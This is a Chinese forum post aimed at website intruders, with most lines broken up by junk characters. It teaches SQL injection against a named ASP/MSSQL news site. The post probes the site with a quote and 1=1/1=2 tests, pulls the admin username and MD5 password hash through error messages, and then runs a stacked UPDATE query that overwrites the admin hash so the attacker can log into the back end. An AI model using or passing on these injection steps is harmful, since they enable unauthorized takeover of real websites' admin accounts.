经常拿站的黑阔们一定经常碰到，某个网站有注入，管理员帐号和密码多暴出来了。0 v- C6 N; o' }3 m
可是密码是MD5加密的。而且在线的MD5解密不了。你说咋办？直接修改管理员密码的MD5值。然后进后台！(当然是有条件的。MSSQL). |0 ?3 r( ~- Q2 `6 {
测试如下：
# \+ \- I z1 {$ Whttp://www.tmdsb.com/news.asp?id=121
8 i. P3 ?5 {' O在地址后输入单引号，显示
' D* N/ `, m2 PMicrosoft OLE DB Provider for SQL Server 错误 ’80040e14’
1 T, }6 Z& j6 l字符串 ’’’ 之前有未闭合的引号
; l( U7 K s3 u# Y( ?. F/news/tmdws.asp，行630 Z( X! Q4 y" ^7 L6 X- j2 `
说明没有过滤单引号且数据库是MSSQL.
" d* y1 L4 C8 l; b* C7 j0 v% u0 @# Dand 1=1正常。and 1=2出错。肯定存在注入; N4 A+ S( ]* m* U& Z; B
接着输入
* B& q/ y4 ^( ]0 t8 o# }; t6 M( yhttp://www.tmdsb.com/news.asp?id=1 or admin_user in (select id from admin)# n, N( w( _, B
得到帐号为:admin8 J& q+ Q$ ?. j" V3 z$ C2 k1 h
http://www.tmdsb.com/news.asp?id=121 or admin_password in (select id from admin)* A% v3 v: a5 b2 Z S
得到密码为:a4716077c2ba075c
z. n' i# R5 r( s3 C+ u接下来我们就可以改密码了。但我们先前要知道我们加密的字符：e8dc763194f29433
5 t. G6 k$ X2 G* q. V& V8 e6 a命令如下 :
. Y! L+ ~* R+ N- f;update shop_admin set password=’e8dc763194f29433’ where password=’a4716077c2ba075c’–
* U6 ]; l; g: g, i1 p这句的意思就是用e8dc763194f29433替换a4716077c2ba075c，以达到修改密码的目的 |
发表于 2012-9-13 17:55:24
收藏
支持
反对
发表于 2012-9-14 16:22:41